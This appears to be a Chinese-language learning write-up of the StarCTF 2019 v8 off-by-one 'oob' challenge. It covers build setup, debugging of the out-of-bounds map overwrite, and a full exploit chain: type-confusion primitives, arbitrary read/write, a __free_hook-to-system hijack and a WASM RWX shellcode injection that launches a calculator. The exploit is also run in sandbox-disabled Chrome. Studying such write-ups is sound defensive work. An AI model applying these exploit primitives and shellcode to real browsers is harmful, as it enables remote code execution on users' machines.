热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

StarCTF2019v8offbyone漏洞学习笔记

银雁冰 @猎影实验室前言从2019年开始,与Chrome相关的在野0day披露开始增多,仅笔者所知的有如下几个:CVE编号发现厂商CVE-2019-5786GoogleCVE-2019-13720Ka

银雁冰 @猎影实验室


前言

从2019年开始,与Chrome相关的在野0day披露开始增多,仅笔者所知的有如下几个:




















CVE编号发现厂商
CVE-2019-5786Google
CVE-2019-13720Kaspersky
CVE-2020-6418Google

作为对比,2014-2018年被厂商披露的Chrome在野0day数量为0,上述数据表明接下来会有更多的Chrome在野0day出现。

站在防守方的角度,一旦预感到某种类型的漏洞接下来会出现,就应该提前对相关领域进行研究,以降低未来应急响应的门槛。基于此,笔者决定挑一个例子上手Chrome下的漏洞调试。

那么,选择哪个漏洞比较好呢?一番对比后,笔者选了2019年StarCTF的一道v8 off-by-one的题,这个例子满足如下条件:


  1. 题目较新,一般来说出题者的思路即会反映该领域研究人员的较新研究方向

  2. 漏洞原理较为简单,利用手法比较常规,实践起来比较容易

  3. 网上有较多质量较高的Writeup

 

调试环境搭建

阅读若干Writeup后,笔者决定在Ubuntu 18.04 64位环境调试这个漏洞。


科学上网

要调试这类漏洞,首先需要下载v8源码到本地,这个过程需要进行科学上网。相关操作笔者参考了Migraine的文章。配置好科学上网工具后,使用depot_tools fetch v8代码前,请不要忘记在当前终端设置以下两句(端口因设置而异),不然会提示一些文件未找到的错误:

export https_proxy=http://127.0.0.1:12333
export http_proxy=http://127.0.0.1:12333

下载v8代码到本地后,继续进行调试环境构建,以便于辅助调试,笔者着重构建的几点是:


  1. pwndbg的安装

  2. v8源码中提供的gdb插件gdb-v8-support.py的安装(可参考Migraine的文章),里面的job命令可以结构化打印对象

  3. Turbolizer工具的搭建,此工具对于当前漏洞用处不大,但对涉及到jit的漏洞调试比较有帮助(可参考mem2019的文章)

以下为该题给出的提示:

Yet another off by one
$ nc 212.64.104.189 10000
the v8 commits is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.

构建完上述环境后,切换到相应分支,再次执行gclient sync同步代码,打上diff文件,随后就可以编译本题所需v8引擎了:

fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync -D
git apply tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

以上命令编译得到一个debug版本的v8,编译得到的可执行文件为d8,运行d8时,—allow-natives-syntax 选项定义了一些v8运行时支持函数,以便于本地调试,配合—allow-natives-syntax 选项,我们可以在js源码中增加若干调用以辅助调试,比较有用的两个调用是:

%DebugPrint(obj) // 输出对象地址
%SystemBreak() // 触发调试中断,结合调试器使用


编译选项

本案例中的漏洞可以在debug或release版本下复现,但Writeup给出的利用只能在release版本执行。为了既能调试整个利用过程,又能使用gdb-v8-support.py插件的job等命令,笔者选择编译一个添加了编译选项的release版本,具体地,在编译release版本前,在out.gn/x64.release/args.gn文件中增加以下编译选项:

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

编译完成后,即可用调试器启动release版本的d8,基本调试操作如下:

cd /home/test/v8/out.gn/x64.release
gdb ./d8 // 安装pwndbg之后,启动gdb时会自动启动pwndbg
set args --allow-natives-syntax /home/test/Desktop/test/poc.js
r // run
c // continue

 

漏洞调试



Diff文件分析

这部分请参考《从一道CTF题零基础学V8漏洞利用》这篇文章,里面已经分析得很详细,本文从略。从diff文件中我们可以看到打完补丁的v8源码中存在一个off by one问题,可以在此基础上实现越界读/写,继而实现类型混淆。


PoC构造

知道问题所在后,即可构造PoC,并在调试器中进行验证,这里直接借用《从一道CTF题零基础学V8漏洞利用》这篇文章中给出的PoC,如下:

var a = [1, 2, 3, 1.1];
%DebugPrint(a);
%SystemBreak(); // <- 断点(1)
var data = a.oob(); // 验证越界读
console.log("[*] oob return data:" + data.toString());
%SystemBreak(); // <- 断点(2)
a.oob(2); // 验证越界写
%SystemBreak();


在调试器中看相关结构

将上述代码保存为oob.js文件,用gdb启动之,在断点(1),观察一下数组a的结构:

pwndbg> r
Starting program: /home/test/v8/out.gn/x64.release/d8 --allow-natives-syntax /home/test/Desktop/exp/poc/oob.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7efd78970700 (LWP 33522)]
[New Thread 0x7efd7816f700 (LWP 33523)]
[New Thread 0x7efd7796e700 (LWP 33524)]
[New Thread 0x7efd7716d700 (LWP 33525)]
[New Thread 0x7efd7696c700 (LWP 33526)]
[New Thread 0x7efd7616b700 (LWP 33527)]
[New Thread 0x7efd7596a700 (LWP 33528)]
0x294872acde69
...
pwndbg> job 0x294872acde69
0x294872acde69: [JSArray]
- map: 0x0e81fe702ed9 [FastProperties]
- prototype: 0x100de9751111
- elements: 0x294872acde39 [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x04dff3640c71 {
#length: 0x1d7f06ac01a9 (const accessor descriptor)
}
- elements: 0x294872acde39 {
0: 1
1: 2
2: 3
3: 1.1
}
pwndbg> job 0x294872acde39
0x294872acde39: [FixedDoubleArray]
- map: 0x04dff36414f9
- length: 4
0: 1
1: 2
2: 3
3: 1.1

要注意在v8中打印出的对象地址是实际地址+1,原因在《v8利用入门:从越界访问到RCE》这篇文章中有说到:

为了加快垃圾回收的效率需要区分number和指针,v8的做法是使用低位为标志位对它们进行区分。由于32位、64位系统的指针会字节对齐,指针的最低位一定为0,v8利用这一点最低位为1视为指针,最低位为0视为number,smi在32位系统中只有高31位是有效数据位。

所以数组a在内存中的实际地址应该是0x294872acde68,来验证一下:

pwndbg> telescope 0x294872acde69-1
00:0000│ 0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401
01:0008│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
02:0010│ 0x294872acde78 —▸ 0x294872acde39 ◂— 0x4dff36414
03:0018│ 0x294872acde80 ◂— 0x400000000
04:0020│ 0x294872acde88 ◂— 0x0

从上面的输出可以看到存储在0x294872acde68的即为0xe81fe702ed9,对应job命令输出的map值。

还可以注意到的一个有趣的现象是PoC中数组a的elements对象地址位于a对象之前的0x30,且这两个对象是紧邻的:

pwndbg> telescope 0x294872acde39-1
00:0000│ 0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│ 0x294872acde40 ◂— 0x400000000
02:0010│ 0x294872acde48 ◂— 0x3ff0000000000000 // 1的64位浮点数表示形式
03:0018│ 0x294872acde50 ◂— 0x4000000000000000 // 2的64位浮点数表示形式
04:0020│ 0x294872acde58 ◂— 0x4008000000000000 // 3的64位浮点数表示形式
05:0028│ 0x294872acde60 ◂— 0x3ff199999999999a // 1.1的64位浮点数表示形式
06:0030│ 0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401 // 数组a的map
07:0038│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408


浮点数在内存中的表示

在v8中,浮点数在64位内存中的表现形式遵循IEEE 754 64位存储格式,具体如下:

1(符号位) + 11(指数部分) + 52(尾数部分) // 左为高bit,右为低bit

关于IEEE 754 64位的更多细节读者可自行上网查阅,为了便于转换调试器输出的浮点值到普通表示形式,可以编写如下的python脚本进行转换:

import binascii
import struct
hex_list_64 = ['3ff0000000000000', '4000000000000000', '4008000000000000', '3ff199999999999a']
for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))
// 转换输出如下
(1.0,)
(2.0,)
(3.0,)
(1.1,)


越界读取

在调试器中输入c,继续运行PoC代码,断下后再次进行观察:

pwndbg> c
Continuing.
[*] oob return data:7.881079421936e-311

7.881079421936e-311是什么呢?如果我们将数组a的map值转化为64位浮点数,可以得到如下输出:

import binascii
import struct
hex_list_64 = ['00000e81fe702ed9']
for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))
// 转换输出如下
(7.881079421936e-311,)

可以看到,PoC中借助漏洞越界读取了elements对象后面的8字节,而这8字节正是数组a的map指针。


越界写入

在调试器中再次输入c,继续运行PoC代码,断下后再次进行观察:

pwndbg> telescope 0x294872acde39-1
00:0000│ 0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│ 0x294872acde40 ◂— 0x400000000
02:0010│ 0x294872acde48 ◂— 0x3ff0000000000000
03:0018│ 0x294872acde50 ◂— 0x4000000000000000
04:0020│ 0x294872acde58 ◂— 0x4008000000000000
05:0028│ 0x294872acde60 ◂— 0x3ff199999999999a
06:0030│ 0x294872acde68 ◂— 0x4000000000000000 <- 可以看数组a的map指针被改写了
07:0038│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408

可以看到相邻的数组a的map指针被改写了,改写后的值为数值2对应的64位浮点数表示形式。

通过对上述PoC的调试,可以看到,借助该漏洞可以读写一个数组对象的map指针,由于v8依赖map类型对js对象进行解析(这部分的相关细节网上有详解,此处不再过多展开),所以可以借助该漏洞对一个数组对象的map指针进行改写,从而产生类型混淆。

 

利用编写

借助上述类型混淆可以将一个浮点数组转变为一个对象数组,反过来也可以,在此基础上可构造任意地址泄露和任意地址写入两个原语。


任意地址泄露

首先构造任意地址泄露原语。这个比较简单,首先定义一个对象数组,将待泄露的对象地址保存到这个对象数组,随后借助漏洞改写对象数组的map指针,使其变为一个浮点数组。随后从“浮点数组”中读取对象指针。

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}

需要注意的是,泄露出来的对象指针是64位浮点数形式,先要将其转换为64位整数形式,然后减1。1后面加n是让其变成64位的BigInt,否则运算时会提示类型不一致。

将浮点数转为整数需要定义一个f2i函数,这个函数的基本思路是定义一个ArrayBuffer对象,随后同时用其初始化一个Float64Array数组和一个BigUint64Array数组,通过用两个数组操作同一片内存,实现64位浮点数与64位整数之间的转换,后面的i2f同理:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}


任意对象伪造

任意对象伪造的思路和任意地址泄露的思路一致。先布局一块内存,然后将该内存的首地址传入一个浮点数组,接着利用漏洞将该浮点数组的map改写为对象数组的map,最后将伪造的地址以对象的形式进行读取:

function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj;
}


任意地址读写

有了任意地址泄露和任意对象伪造两个原语后,理论上就可以实现代码执行了,大部分Writeup中的思路是先借助上述两个原语实现任意地址读写,采用的思路是构造一个fake_array如下:

var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];

《从一道CTF题零基础学V8漏洞利用》这篇文章里面有提到,如果fake_array在构造时没有最后两个properties,相关结构会在内存中发生变化,本文不对其中细节进行深究,直接采用有6个成员的fake_array。

构造完fake_array后,我们先在内存中看一下其结构:

// fake_array
pwndbg> job 0x1744cd9cf9c9
0x1744cd9cf9c9: [JSArray]
- map: 0x264dae342ed9 [FastProperties]
- prototype: 0x22ccc9151111
- elements: 0x1744cd9cf989 [PACKED_DOUBLE_ELEMENTS]
- length: 6
- properties: 0x3a07f47c0c71 {
#length: 0x11556e8001a9 (const accessor descriptor)
}
- elements: 0x1744cd9cf989 {
0: 2.08076e-310
1: 0
2: 5.40901e-315
3: 3.39519e-313
4: 1.1
5: 2.2
}
// fake_array.elements
pwndbg> job 0x1744cd9cf989
0x1744cd9cf989: [FixedDoubleArray]
- map: 0x3a07f47c14f9
- length: 6
0: 2.08076e-310
1: 0
2: 5.40901e-315
3: 3.39519e-313
4: 1.1
5: 2.2
pwndbg> telescope 0x1744cd9cf989-1
00:0000│ 0x1744cd9cf988 —▸ 0x3a07f47c14f9 ◂— 0x3a07f47c01
01:0008│ 0x1744cd9cf990 ◂— 0x600000000
02:0010│ 0x1744cd9cf998 —▸ 0x264dae342ed9 ◂— 0x400003a07f47c01
03:0018│ 0x1744cd9cf9a0 ◂— 0x0
04:0020│ 0x1744cd9cf9a8 ◂— 0x41414141 /* 'AAAA' */
05:0028│ 0x1744cd9cf9b0 ◂— 0x1000000000
06:0030│ 0x1744cd9cf9b8 ◂— 0x3ff199999999999a
07:0038│ 0x1744cd9cf9c0 ◂— 0x400199999999999a
// 可以看到fake_array.elements在前,大小为0x40字节,第一个element值相对头部偏移为+0x10
// fake_array紧邻fake_array.elements,其头部相对fake_array.elements头部偏移为+0x40
pwndbg> p/x 0x1744cd9cf9c9-0x1744cd9cf989
$1 = 0x40

Writeup中用来构造任意地址读写原语的思路是这样的:借助任意地址泄露原语计算得到fake_array的第一个元素在内存中的基地址,然后借助任意对象伪造原语将该地址处开始的内存伪造为一个faked_object,此时数据结构之间的对应关系如下(下图主要参考《从一道CTF题零基础学V8漏洞利用》这篇文章):

从上图可知,得到伪造的对象后,只要修改fake_array[2],就可以控制faked_object的elements成员,在修改elements后,再对faked_object进行读写,就可以读写elements指针指向处的内存,这样就具备了任意地址读写能力,在此基础上封装两个原语即可:

var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var faked_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let read_data = f2i(faked_object[0]);
console.log("[*] read from: 0x" + hex(addr) + " : 0x" + hex(read_data));
return read_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
faked_object[0] = i2f(data);
console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data))
}

有了任意地址读写原语后,接下来的操作就比较简单了。笔者在此基础上实践了两种方法:


  1. 泄露libc地址,劫持free_hook为system,调用相关函数,传入命令行实现代码执行

  2. 找到wasm的代码页指针,将shellcode拷贝到此代码页,调用wasm接口实现代码执行



代码执行:劫持free_hook

如何劫持free_hook呢?首先要泄露d8模块基址。这里笔者采用的是《从一道CTF题零基础学V8漏洞利用》这篇文章中介绍的稳定泄露的方法,具体步骤读者可以参考那篇文章:

var a = [1.1, 2.2, 3.3];
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));

上述代码泄露了d8模块里面的一个指针,接着需要根据该指针计算得到d8模块的基址,作为一个初学者,笔者在实践的过程中,发现所有文章都对这一步骤一笔带过,这里简述笔者采用的方法:

先按照《从一道CTF题零基础学V8漏洞利用》的方法在调试器中进行查找,某次定位到leak_d8_addr为0x561083f56780,用vmap命令显示该地址的相关信息,输出中最前面有一个0x561083607000,这个函数即为d8模块的_start函数在内存中的地址:

pwndbg> vmmap 0x561083f56780
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x561083607000 0x5610841df000 r-xp bd8000 642000 /home/test/v8/out.gn/x64.release/d8

通过以下步骤即可计算得到d8基址:


  1. 计算在内存中leak_d8_addr相对于_start的偏移,记为offset1

  2. 在IDA中计算得到_start相对于d8基址的偏移,记为offset2

  3. d8基址 = leak_d8_addr – offset1 – offset2

下面为笔者某次实践中对应的相关偏移,及相关计算过程:

// _start 0x561083607000
// leak_d8_addr = 0x561083f56780
// leak_d8_addr - _start = ‭0x94F780‬
// _start - leak_d8_addr = 0x642000
// leak_d8_addr - base = 0x642000 + 94F780 = 0xF91780
var d8_base_addr = leak_d8_addr - 0xF91780n;
console.log("[*] d8_base_addr: 0x" + hex(d8_base_addr));

泄露得到d8模块基址后,先在d8模块中定位_start函数,找到该函数中使用的__libc_start_main_ptr函数指针:

// 由d8的导出表定位到_start函数
.text:0000000000642000 public _start
.text:0000000000642000 _start proc near
.text:0000000000642000 ; __unwind {
.text:0000000000642000 31 ED xor ebp, ebp
.text:0000000000642002 49 89 D1 mov r9, rdx ; rtld_fini
.text:0000000000642005 5E pop rsi ; argc
.text:0000000000642006 48 89 E2 mov rdx, rsp ; ubp_av
.text:0000000000642009 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000064200D 50 push rax
.text:000000000064200E 54 push rsp ; stack_end
.text:000000000064200F 4C 8D 05 2A 6A BD+lea r8, __libc_csu_fini ; fini
.text:0000000000642016 48 8D 0D B3 69 BD+lea rcx, __libc_csu_init ; init
.text:000000000064201D 48 8D 3D 6C 2F 01+lea rdi, main ; main
.text:0000000000642024 FF 15 76 B7 C2 00 call cs:__libc_start_main_ptr
.text:000000000064202A F4 hlt
.text:000000000064202A ; } // starts at 642000
.text:000000000064202A _start endp
// 由上面的函数指针定位到got表中的相关项
.got:000000000126D7A0 __libc_start_main_ptr dq offset __libc_start_main
.got:000000000126D7A0 ; DATA XREF: _start+24↑r

得到d8基址和__libc_start_main的offset后,就可以在代码中读取内存中的libc_start_main_addr函数地址,接着通过IDA计算得到libc_start_main相对于libc-2.27.so基地址的偏移,这样我们就可计算得到libc库在内存中的基址。随后在其导出表查找free_hook、system这两个函数的偏移,并加上libc在内存中的基址,就可得到free_hook、system两个函数在内存中的地址。

// __libc_start_main_ptr in d8
var d8_got_libc_start_main_addr = d8_base_addr + 0x126d7a0n;
var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
console.log("[*] find libc_start_main_addr: 0x" + hex(libc_start_main_addr));
var libc_base_addr = libc_start_main_addr - 0x21AB0n;
var lib_system_addr = libc_base_addr + 0x4F440n;
var libc_free_hook_addr = libc_base_addr + 0x3ED8E8n;
console.log("[*] find libc libc_base_addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc lib_system_addr: 0x" + hex(lib_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));

找到上述信息后,理论上借助任意地址写原语将free_hook的地址修改为system的地址即可,但实践时发现write64这个原语无法正确完成写入,多篇分析文章已就这个问题进行讨论,解决办法是再借助DataView对象封装另一个任意地址写原语:

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
console.log("[*] write(use dataview) to: 0x" + hex(addr) + ": 0x" + hex(data));
}

此时就可以劫持free_hook并实现代码执行了:

write64_dataview(libc_free_hook_addr, lib_system_addr);
console.log("[*] Write ok.");
console.log("gnome-calculator");

效果如下:


代码执行:wasm

相比较之前的方法,wasm方法只需要很少的硬编码,也无需借助DataView再构造一个写原语,许多Writeup中已经对该种方法进行详细说明,本文不再过多叙述:

ar wasmCode = new Uint8Array([略]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x08n) - 1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
function copy_shellcode(addr, shellcode)
{
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addressOf(buf);
let backing_store_addr = buf_addr + 0x20n;
write64(backing_store_addr, addr);
for(let i = 0; i {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode = [
0x90909090,
0x90909090,
0x782fb848,
0x636c6163,
0x48500000,
0x73752fb8,
0x69622f72,
0x8948506e,
0xc03148e7,
0x89485750,
0xd23148e6,
0x3ac0c748,
0x50000030,
0x4944b848,
0x414c5053,
0x48503d59,
0x3148e289,
0x485250c0,
0xc748e289,
0x00003bc0,
0x050f00
];
console.log("[*] Copying xcalc shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[*] Popping calc");
f();

对上述代码中的shellcode注解如下:

这种方法可以更为简单地实现代码执行,效果如下:


Chrome下的代码执行

题目原材料中给了一个对应的Chrome程序,写一个index.html脚本调用上述rce_wasm.js文件,以—no-sandbox模式启动该Chrome,打开index.html,即可在Chrome中实现代码执行:

 

写在最后

借助本次实践,笔者初步上手了Linux下v8的漏洞调试,包括源码下载、环境搭建、漏洞成因调试和漏洞利用编写,以及对gdb、pwndbg下相关调试指令的熟悉。近年来各大CTF中与v8有关的题目越来越多,网上的学习资料也开始增多,希望此文对读者上手该领域也有一定帮助。

 

参考资料

主要参考:
题目资料下载
官方Writeup材料
v8 Base
从一道CTF题零基础学V8漏洞利用
StarCTF 2019 (*CTF) oob 初探V8漏洞利用

其他资料:
Chrome v8 exploit – OOB
*CTF2019 OOB-v8 Writeup
star ctf Chrome oob Writeup
*CTF 2019 – Chrome oob-v8
v8利用入门:从越界访问到RCE
Exploiting v8: *CTF 2019 oob-v8


推荐阅读
  • 如何在HTML中获取鼠标的当前位置
    本文介绍了在HTML中获取鼠标当前位置的三种方法,分别是相对于屏幕的位置、相对于窗口的位置以及考虑了页面滚动因素的位置。通过这些方法可以准确获取鼠标的坐标信息。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • Linux如何安装Mongodb的详细步骤和注意事项
    本文介绍了Linux如何安装Mongodb的详细步骤和注意事项,同时介绍了Mongodb的特点和优势。Mongodb是一个开源的数据库,适用于各种规模的企业和各类应用程序。它具有灵活的数据模式和高性能的数据读写操作,能够提高企业的敏捷性和可扩展性。文章还提供了Mongodb的下载安装包地址。 ... [详细]
  • 本文介绍了在Linux下安装和配置Kafka的方法,包括安装JDK、下载和解压Kafka、配置Kafka的参数,以及配置Kafka的日志目录、服务器IP和日志存放路径等。同时还提供了单机配置部署的方法和zookeeper地址和端口的配置。通过实操成功的案例,帮助读者快速完成Kafka的安装和配置。 ... [详细]
  • 荣耀V8搭载基于Android 6.0的EMUI 4.1,功能介绍及用户体验
    本文介绍了荣耀V8搭载基于Android 6.0的EMUI 4.1的功能,包括色温调节、护眼模式、智灵键和学生模式等。荣耀V8在色温调节方面提供了多种选择,用户可以根据自己的喜好进行调节。护眼模式能够减少屏幕蓝光辐射,预防眼部疲劳。智灵键位于机身侧面,用户可以自定义其功能,方便快捷操作。学生模式需要密码才能开启或关闭,为家长提供了更好的控制。通过本文,读者可以了解荣耀V8的功能特点及用户体验。 ... [详细]
  • Google在I/O开发者大会详细介绍Android N系统的更新和安全性提升
    Google在2016年的I/O开发者大会上详细介绍了Android N系统的更新和安全性提升。Android N系统在安全方面支持无缝升级更新和修补漏洞,引入了基于文件的数据加密系统和移动版本的Chrome浏览器可以识别恶意网站等新的安全机制。在性能方面,Android N内置了先进的图形处理系统Vulkan,加入了JIT编译器以提高安装效率和减少应用程序的占用空间。此外,Android N还具有自动关闭长时间未使用的后台应用程序来释放系统资源的机制。 ... [详细]
  • 本文由编程笔记小编整理,主要介绍了使用Junit和黄瓜进行自动化测试中步骤缺失的问题。文章首先介绍了使用cucumber和Junit创建Runner类的代码,然后详细说明了黄瓜功能中的步骤和Steps类的实现。本文对于需要使用Junit和黄瓜进行自动化测试的开发者具有一定的参考价值。摘要长度:187字。 ... [详细]
  • uniapp开发H5解决跨域问题的两种代理方法
    本文介绍了uniapp开发H5解决跨域问题的两种代理方法,分别是在manifest.json文件和vue.config.js文件中设置代理。通过设置代理根域名和配置路径别名,可以实现H5页面的跨域访问。同时还介绍了如何开启内网穿透,让外网的人可以访问到本地调试的H5页面。 ... [详细]
  • Windows7企业版怎样存储安全新功能详解
    本文介绍了电脑公司发布的GHOST WIN7 SP1 X64 通用特别版 V2019.12,软件大小为5.71 GB,支持简体中文,属于国产软件,免费使用。文章还提到了用户评分和软件分类为Win7系统,运行环境为Windows。同时,文章还介绍了平台检测结果,无插件,通过了360、腾讯、金山和瑞星的检测。此外,文章还提到了本地下载文件大小为5.71 GB,需要先下载高速下载器才能进行高速下载。最后,文章详细解释了Windows7企业版的存储安全新功能。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • PHP组合工具以及开发所需的工具
    本文介绍了PHP开发中常用的组合工具和开发所需的工具。对于数据分析软件,包括Excel、hihidata、SPSS、SAS、MARLAB、Eview以及各种BI与报表工具等。同时还介绍了PHP开发所需的PHP MySQL Apache集成环境,包括推荐的AppServ等版本。 ... [详细]
  • Introduction(简介)Forbeingapowerfulobject-orientedprogramminglanguage,Cisuseda ... [详细]
  • Thisworkcameoutofthediscussioninhttps://github.com/typesafehub/config/issues/272 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • Shodan简单用法Shodan简介Shodan是互联网上最可怕的搜索引擎,与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“ ... [详细]
author-avatar
xhl583337984
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有